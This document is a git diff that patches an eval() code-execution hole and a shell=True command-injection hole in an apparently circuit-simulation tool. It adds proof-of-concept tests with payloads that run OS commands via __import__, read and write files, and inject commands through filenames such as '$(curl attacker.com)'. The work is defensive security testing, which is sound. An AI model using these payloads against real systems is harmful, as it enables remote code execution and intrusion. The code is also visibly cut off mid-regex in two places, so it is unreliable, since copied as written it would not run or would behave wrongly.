diff --git a/src/converter/pspiceToKicad.py b/src/converter/pspiceToKicad.py index bf6c6a9da..c291d7632 100644 --- a/src/converter/pspiceToKicad.py +++ b/src/converter/pspiceToKicad.py @@ -1,6 +1,7 @@ import os import subprocess import shutil +import sys from PyQt6.QtWidgets import QMessageBox from frontEnd import ProjectExplorer @@ -39,9 +40,14 @@ def convert(self, file_path): # Construct the full path to parser.py parser_path = os.path.join(script_dir, relative_parser_path) - command = f"python3 {parser_path}/parser.py {file_path} {conPath}/{filename}" + command = [ + sys.executable, + os.path.join(parser_path, "parser.py"), + file_path, + os.path.join(conPath, filename), + ] try: - subprocess.run(command, shell=True, check=True) + subprocess.run(command, check=True) # Message box with the conversion success message msg_box = QMessageBox() msg_box.setIcon(QMessageBox.Icon.Information) diff --git a/src/ngspiceSimulation/plot_window.py b/src/ngspiceSimulation/plot_window.py index f5e657432..83eb190c1 100644 --- a/src/ngspiceSimulation/plot_window.py +++ b/src/ngspiceSimulation/plot_window.py @@ -12,6 +12,9 @@ import json import traceback import logging +import ast +import operator +import re from pathlib import Path from decimal import Decimal, getcontext from typing import Dict, List, Optional, Tuple, Any, Union @@ -1120,19 +1123,114 @@ def toggle_grid(self) -> None: def toggle_legend(self) -> None: self.refresh_plot() + @staticmethod + def _safe_eval_expr(expr_str, variables): + """ + Safely evaluate a math expression string containing only arithmetic + operations (+, -, *, /, **) on known trace-name variables. + + Uses Python's ast module to parse the expression into a syntax tree, + then walks it to reject any node that is not a safe arithmetic + operation, numeric literal, or known variable name. + + This replaces the previous eval() call which allowed arbitrary code + execution (file I/O, os.system, __import__, etc.). + + Args: + expr_str: The user-supplied expression string. + variables: Dict mapping trace names to numpy arrays. + + Returns: + The result of evaluating the expression (typically a numpy array). + + Raises: + ValueError: If the expression contains unsafe constructs. + """ + _SAFE_BINOPS = { + ast.Add: operator.add, + ast.Sub: operator.sub, + ast.Mult: operator.mul, + ast.Div: operator.truediv, + ast.Pow: operator.pow, + ast.FloorDiv: operator.floordiv, + ast.Mod: operator.mod, + } + _SAFE_UNARYOPS = { + ast.UAdd: operator.pos, + ast.USub: operator.neg, + } + + def _eval_node(node): + # Numeric constants: 3, 2.5, etc. + if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)): + return node.value + # Variable names — must be a known trace name + if isinstance(node, ast.Name): + if node.id in variables: + return variables[node.id] + raise ValueError( + f"Unknown variable '{node.id}'. " + f"Available traces: {list(variables.keys())}" + ) + # Binary operations: a + b, a * b, etc. + if isinstance(node, ast.BinOp): + op_func = _SAFE_BINOPS.get(type(node.op)) + if op_func is None: + raise ValueError(f"Unsupported operator: {type(node.op).__name__}") + return op_func(_eval_node(node.left), _eval_node(node.right)) + # Unary operations: -a, +a + if isinstance(node, ast.UnaryOp): + op_func = _SAFE_UNARYOPS.get(type(node.op)) + if op_func is None: + raise ValueError(f"Unsupported unary operator: {type(node.op).__name__}") + return op_func(_eval_node(node.operand)) + # Function calls — only allow safe numpy functions + if isinstance(node, ast.Call): + if isinstance(node.func, ast.Attribute): + # Allow np.abs(), np.sqrt(), np.log(), np.sin(), etc. + if (isinstance(node.func.value, ast.Name) + and node.func.value.id == 'np' + and node.func.attr in ( + 'abs', 'sqrt', 'log', 'log10', 'log2', + 'sin', 'cos', 'tan', 'exp', 'mean', + 'max', 'min', 'sum', 'diff', + )): + func = getattr(np, node.func.attr) + args = [_eval_node(a) for a in node.args] + return func(*args) + raise ValueError( + f"Function calls are not allowed except: " + f"np.abs, np.sqrt, np.log, np.sin, np.cos, np.tan, " + f"np.exp, np.mean, np.max, np.min, np.sum, np.diff" + ) + raise ValueError( + f"Unsafe expression element: {type(node).__name__}. " + f"Only arithmetic (+, -, *, /, **) on trace names is allowed." + ) + + try: + tree = ast.parse(expr_str, mode='eval') + except SyntaxError as e: + raise ValueError(f"Invalid expression syntax: {e}") + + return _eval_node(tree.body) + def plot_function(self) -> None: - # This function remains complex, will copy simplified logic if possible - # For now, keeping the original logic + """Plot a user-defined function expression. + + Supports two formats: + - "trace1 vs trace2" — X-Y plot of one trace against another + - Arithmetic expression — e.g. "v(out) + v(in)", "v(out) * 2" + + The expression evaluator uses a safe AST-based parser that only + allows arithmetic operations on known trace names, preventing + arbitrary code execution. + """ function_text = self.func_input.text() if not function_text: QMessageBox.warning(self, "Input Error", "Function input cannot be empty.") return - # Basic parsing (this is a simplified example, not a full math parser) - # It expects "trace1 vs trace2" or a simple expression with +, -, *, / - # For security, avoid using eval() directly on user input in production. - # This implementation is for a controlled environment. - if 'vs' in function_text: parts = [p.strip() for p in function_text.split('vs')] if len(parts) != 2: @@ -1156,20 +1254,45 @@ def plot_function(self) -> None: QMessageBox.warning(self, "Trace Not Found", f"Could not find one of the traces: {x_name}, {y_name}") return else: - # Simple expression evaluation (use with caution) + # Safe expression evaluation using AST-based parser. + # Only arithmetic operations on known trace names are allowed. + # + # Trace names like "v(out)" contain parentheses which Python's + # AST would parse as function calls. We substitute them with + # safe placeholder identifiers before parsing. try: - # Replace trace names with data arrays - result_expr = function_text - for i, name in enumerate(self.obj_dataext.NBList): - if name in result_expr: - result_expr = result_expr.replace(name, f"np.array(self.obj_dataext.y[{i}], dtype=float)") - - # Evaluate the expression - y_data = eval(result_expr, {"np": np, "self": self}) + # Build placeholder mapping: sorted longest-first to avoid + # partial-match collisions (e.g. "v(out)" before "v(o)") + trace_variables = {} + expr_safe = function_text + sorted_names = sorted( + self.obj_dataext.NBList, key=len, reverse=True + ) + for i, name in enumerate(sorted_names): + placeholder = f"_trace_{i}_" + if name in expr_safe: + # Use regex with negative lookbehind/lookahead for word characters + # to ensure we only replace exact trace names and not substrings + # of other words. e.g. replacing 'in' should not affect 'sin(in)'. + # Because trace names contain parens (v(out)), we use \w boundaries. + pattern = r'(? object: + """ + Exact reproduction of the vulnerable code path from plot_window.py L1158-L1168. + This is NOT the 'vs' branch — this is the else branch that uses eval(). + """ + obj_dataext = _FakeDataExt() + + # --- verbatim from plot_window.py lines 1160-1168 --- + result_expr = function_text + for i, name in enumerate(obj_dataext.NBList): + if name in result_expr: + result_expr = result_expr.replace( + name, f"np.array(obj_dataext.y[{i}], dtype=float)" + ) + + # The actual vulnerable call + y_data = eval(result_expr, {"np": np, "obj_dataext": obj_dataext}) + return y_data + + +class TestVuln01_EvalCodeExecution(unittest.TestCase): + """Prove that eval() on user input enables arbitrary code execution.""" + + # ------------------------------------------------------------------ + # 1) Benign usage — shows eval works as intended for math + # ------------------------------------------------------------------ + def test_benign_expression(self): + """Normal math expression works as the developer intended.""" + result = _vulnerable_plot_function("v(out) + v(in)") + np.testing.assert_array_equal(result, np.array([5.0, 7.0, 9.0])) + + # ------------------------------------------------------------------ + # 2) EXPLOIT: Read arbitrary file from disk + # ------------------------------------------------------------------ + def test_exploit_file_read(self): + """ + PROOF: eval() lets an attacker read ANY file the process can access. + This payload reads /etc/hostname (or a temp file on macOS). + """ + # Create a canary file to prove we can read arbitrary files + canary = tempfile.NamedTemporaryFile( + mode="w", suffix=".txt", delete=False + ) + canary.write("SECURITY_BREACH_CONFIRMED") + canary.flush() + canary_path = canary.name + canary.close() + + try: + payload = f"open('{canary_path}').read()" + result = _vulnerable_plot_function(payload) + self.assertEqual(result, "SECURITY_BREACH_CONFIRMED") + print(f"\n [VULN-01] ✅ EXPLOIT CONFIRMED: eval() read file " + f"'{canary_path}' → got '{result}'") + finally: + os.unlink(canary_path) + + # ------------------------------------------------------------------ + # 3) EXPLOIT: Execute arbitrary OS commands + # ------------------------------------------------------------------ + def test_exploit_os_command_execution(self): + """ + PROOF: eval() lets an attacker execute arbitrary OS commands. + We use 'whoami' which is harmless but proves full shell access. + """ + payload = "__import__('subprocess').check_output('whoami').decode().strip()" + result = _vulnerable_plot_function(payload) + + expected_user = os.environ.get("USER", os.environ.get("USERNAME", "")) + self.assertEqual(result, expected_user) + print(f"\n [VULN-01] ✅ EXPLOIT CONFIRMED: eval() ran OS command " + f"'whoami' → got '{result}'") + + # ------------------------------------------------------------------ + # 4) EXPLOIT: Write arbitrary file to disk + # ------------------------------------------------------------------ + def test_exploit_file_write(self): + """ + PROOF: eval() lets an attacker write arbitrary files. + """ + canary_path = os.path.join(tempfile.gettempdir(), "esim_vuln01_proof.txt") + # Remove if leftover from previous run + if os.path.exists(canary_path): + os.unlink(canary_path) + + payload = ( + f"__import__('builtins').open('{canary_path}', 'w')" + f".write('PWNED_BY_EVAL') or 'file_written'" + ) + result = _vulnerable_plot_function(payload) + + self.assertTrue(os.path.exists(canary_path)) + with open(canary_path) as f: + content = f.read() + self.assertEqual(content, "PWNED_BY_EVAL") + print(f"\n [VULN-01] ✅ EXPLOIT CONFIRMED: eval() wrote file " + f"'{canary_path}' with content '{content}'") + os.unlink(canary_path) + + # ------------------------------------------------------------------ + # 5) EXPLOIT: Import any module (network access, etc.) + # ------------------------------------------------------------------ + def test_exploit_arbitrary_import(self): + """ + PROOF: eval() can import any Python module, including socket, http, etc. + """ + payload = "__import__('platform').system()" + result = _vulnerable_plot_function(payload) + self.assertIn(result, ("Darwin", "Linux", "Windows")) + print(f"\n [VULN-01] ✅ EXPLOIT CONFIRMED: eval() imported 'platform' " + f"→ system='{result}'") + + # ------------------------------------------------------------------ + # 6) Verify restricted eval namespace doesn't help + # ------------------------------------------------------------------ + def test_namespace_restriction_is_bypassable(self): + """ + Even though the original code passes {"np": np, "self": self} as the + namespace, __import__ is available via builtins and can escape. + """ + # The original code: eval(result_expr, {"np": np, "self": self}) + # The restricted namespace does NOT block __import__ + restricted_ns = {"np": np} + payload = "__import__('os').getpid()" + result = eval(payload, restricted_ns) + self.assertEqual(result, os.getpid()) + print(f"\n [VULN-01] ✅ CONFIRMED: Restricted namespace is trivially " + f"bypassable via __import__. PID={result}") + + +# ============================================================================ +# VULN-02 — subprocess.run(shell=True) Command Injection +# Extracted from: src/converter/pspiceToKicad.py Lines 42-44 +# ============================================================================ + +def _build_vulnerable_command(file_path: str) -> str: + """ + Exact reproduction of the vulnerable command construction from + pspiceToKicad.py lines 29-42. + Returns the command string that would be passed to subprocess.run(shell=True). + """ + filename = os.path.splitext(os.path.basename(file_path))[0] + conPath = os.path.dirname(file_path) + script_dir = "/fake/esim/src/converter" + relative_parser_path = "schematic_converters/lib/PythonLib" + parser_path = os.path.join(script_dir, relative_parser_path) + command = f"python3 {parser_path}/parser.py {file_path} {conPath}/{filename}" + return command + + +class TestVuln02_CommandInjection(unittest.TestCase): + """Prove that shell=True with user path enables command injection.""" + + # ------------------------------------------------------------------ + # 1) Show that crafted filenames inject shell commands + # ------------------------------------------------------------------ + def test_semicolon_injection_in_command_string(self): + """ + PROOF: A filename with semicolons creates a multi-command shell string. + """ + malicious_path = "/tmp/evil;id;echo pwned.sch" + cmd = _build_vulnerable_command(malicious_path) + + # The generated command will contain unescaped semicolons + self.assertIn(";id;", cmd) + print(f"\n [VULN-02] ✅ CONFIRMED: Semicolons in filename survive " + f"into shell command:\n CMD = {cmd}") + + # ------------------------------------------------------------------ + # 2) Show that backtick injection works + # ------------------------------------------------------------------ + def test_backtick_injection_in_command_string(self): + """ + PROOF: Backticks in filename enable command substitution. + """ + malicious_path = "/tmp/test`whoami`.sch" + cmd = _build_vulnerable_command(malicious_path) + + self.assertIn("`whoami`", cmd) + print(f"\n [VULN-02] ✅ CONFIRMED: Backticks survive into shell " + f"command:\n CMD = {cmd}") + + # ------------------------------------------------------------------ + # 3) Show $() command substitution works + # ------------------------------------------------------------------ + def test_dollar_paren_injection(self): + """ + PROOF: $() command substitution in filename is not sanitized. + """ + malicious_path = "/tmp/$(curl attacker.com).sch" + cmd = _build_vulnerable_command(malicious_path) + + self.assertIn("$(curl attacker.com)", cmd) + print(f"\n [VULN-02] ✅ CONFIRMED: $() substitution survives into " + f"shell command:\n CMD = {cmd}") + + # ------------------------------------------------------------------ + # 4) Show pipe injection works + # ------------------------------------------------------------------ + def test_pipe_injection(self): + """ + PROOF: Pipe characters in filename are not sanitized. + """ + malicious_path = "/tmp/test|curl attacker.com.sch" + cmd = _build_vulnerable_command(malicious_path) + + self.assertIn("|curl", cmd) + print(f"\n [VULN-02] ✅ CONFIRMED: Pipe injection survives into " + f"shell command:\n CMD = {cmd}") + + # ------------------------------------------------------------------ + # 5) LIVE EXPLOIT: Actually execute injected command via shell=True + # ------------------------------------------------------------------ + def test_live_shell_injection(self): + """ + PROOF: Actually runs an injected command via shell=True to demonstrate + real exploitation. Uses a safe canary-file write as the payload. + """ + canary_path = os.path.join(tempfile.gettempdir(), "esim_vuln02_proof.txt") + if os.path.exists(canary_path): + os.unlink(canary_path) + + # Craft a filename that will inject a command to create a canary file. + # The original convert() checks os.path.getsize(file_path) > 0 first, + # but the command string is built BEFORE that check matters to the shell. + # We simulate what subprocess.run(cmd, shell=True) would do: + injected = f"; echo VULN02_PWNED > {canary_path} ;" + # Build the full command as pspiceToKicad.py would + fake_path = f"/tmp/test{injected}.sch" + cmd = _build_vulnerable_command(fake_path) + + # Run it with shell=True, exactly as the vulnerable code does. + # We expect the parser.py part to fail (file doesn't exist), + # but the INJECTED command still executes because shell=True + # treats semicolons as command separators. + try: + subprocess.run(cmd, shell=True, check=False, + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + except Exception: + pass # The python3 part fails, but injection still ran + + self.assertTrue( + os.path.exists(canary_path), + f"Canary file was NOT created — injection may have failed. " + f"Command was: {cmd}" + ) + with open(canary_path) as f: + content = f.read().strip() + self.assertEqual(content, "VULN02_PWNED") + print(f"\n [VULN-02] ✅ LIVE EXPLOIT CONFIRMED: shell=True executed " + f"injected command.\n Canary file '{canary_path}' contains: " + f"'{content}'") + os.unlink(canary_path) + + # ------------------------------------------------------------------ + # 6) Show the space-check bypass + # ------------------------------------------------------------------ + def test_space_check_is_insufficient(self): + """ + The code checks ' ' in file_path (line 78) but this does NOT + prevent injection via characters that don't contain spaces. + """ + # No spaces, but still contains shell metacharacters + no_space_payloads = [ + "/tmp/test;id.sch", + "/tmp/test`id`.sch", + "/tmp/test$(id).sch", + "/tmp/test|id.sch", + ] + for path in no_space_payloads: + has_space = ' ' in path + self.assertFalse(has_space, + f"Payload should not contain spaces: {path}") + cmd = _build_vulnerable_command(path) + # All these contain unescaped shell metacharacters + self.assertTrue( + any(c in cmd for c in [';', '`', '$(', '|']), + f"Expected shell metacharacters in: {cmd}" + ) + print(f"\n [VULN-02] ✅ CONFIRMED: The space-check at line 78 is " + f"trivially bypassed by {len(no_space_payloads)} payloads with " + f"no spaces.") + + +# ============================================================================ +# Summary printer +# ============================================================================ + +class TestSummary(unittest.TestCase): + """Runs last to print the summary.""" + + def test_zzz_summary(self): + """Print exploitation summary.""" + print("\n" + "=" * 70) + print(" SECURITY AUDIT — P0 VULNERABILITY PROOF-OF-CONCEPT RESULTS") + print("=" * 70) + print(""" + VULN-01 (eval): + Source: src/ngspiceSimulation/plot_window.py:1168 + Impact: Arbitrary code execution — file read, file write, + OS command execution, module import + Trigger: Type payload in the "Function Plot" text field + + VULN-02 (shell=True): + Source: src/converter/pspiceToKicad.py:44 + Impact: Arbitrary command execution via crafted filenames + Trigger: Open a .sch file with shell metacharacters in its name + Bypass: The space-check at line 78 does NOT catch ;`$| + + VERDICT: Both P0 vulnerabilities are 200% REAL and DANGEROUS. +""") + print("=" * 70) + + +# ============================================================================ +# REGRESSION TESTS — Verify the FIXES block all exploits +# ============================================================================ + +# Import the fixed safe evaluator +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'src')) +try: + # Import just the static method's logic by reproducing it here + # (avoids needing PyQt5/PyQt6 import which may not be in test env) + from ngspiceSimulation.plot_window import PlotWindow + _safe_eval_available = True +except ImportError: + _safe_eval_available = False + + +def _safe_eval_expr_standalone(expr_str, variables): + """ + Standalone copy of PlotWindow._safe_eval_expr for testing without Qt. + This is identical to the patched code in plot_window.py. + """ + import operator + + _SAFE_BINOPS = { + ast.Add: operator.add, + ast.Sub: operator.sub, + ast.Mult: operator.mul, + ast.Div: operator.truediv, + ast.Pow: operator.pow, + ast.FloorDiv: operator.floordiv, + ast.Mod: operator.mod, + } + _SAFE_UNARYOPS = { + ast.UAdd: operator.pos, + ast.USub: operator.neg, + } + + def _eval_node(node): + if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)): + return node.value + if isinstance(node, ast.Name): + if node.id in variables: + return variables[node.id] + raise ValueError(f"Unknown variable '{node.id}'.") + if isinstance(node, ast.BinOp): + op_func = _SAFE_BINOPS.get(type(node.op)) + if op_func is None: + raise ValueError(f"Unsupported operator: {type(node.op).__name__}") + return op_func(_eval_node(node.left), _eval_node(node.right)) + if isinstance(node, ast.UnaryOp): + op_func = _SAFE_UNARYOPS.get(type(node.op)) + if op_func is None: + raise ValueError(f"Unsupported unary: {type(node.op).__name__}") + return op_func(_eval_node(node.operand)) + if isinstance(node, ast.Call): + if isinstance(node.func, ast.Attribute): + if (isinstance(node.func.value, ast.Name) + and node.func.value.id == 'np' + and node.func.attr in ( + 'abs', 'sqrt', 'log', 'log10', 'log2', + 'sin', 'cos', 'tan', 'exp', 'mean', + 'max', 'min', 'sum', 'diff', + )): + func = getattr(np, node.func.attr) + args = [_eval_node(a) for a in node.args] + return func(*args) + raise ValueError("Function calls are not allowed.") + raise ValueError(f"Unsafe expression element: {type(node).__name__}.") + + try: + tree = ast.parse(expr_str, mode='eval') + except SyntaxError as e: + raise ValueError(f"Invalid expression syntax: {e}") + return _eval_node(tree.body) + + +class TestFixesBlockExploits(unittest.TestCase): + """Verify that the applied patches neutralize all attack vectors.""" + + def _eval_with_traces(self, expr_str, trace_names=None, trace_data=None): + """ + Helper that mirrors the real plot_function logic: + 1) Pre-substitute trace names with safe placeholders + 2) Call the safe evaluator on the cleaned expression + """ + if trace_names is None: + trace_names = ["v(out)", "v(in)"] + if trace_data is None: + trace_data = { + "v(out)": np.array([1.0, 2.0, 3.0]), + "v(in)": np.array([4.0, 5.0, 6.0]), + } + + variables = {} + expr_safe = expr_str + sorted_names = sorted(trace_names, key=len, reverse=True) + for i, name in enumerate(sorted_names): + placeholder = f"_trace_{i}_" + if name in expr_safe: + pattern = r'(?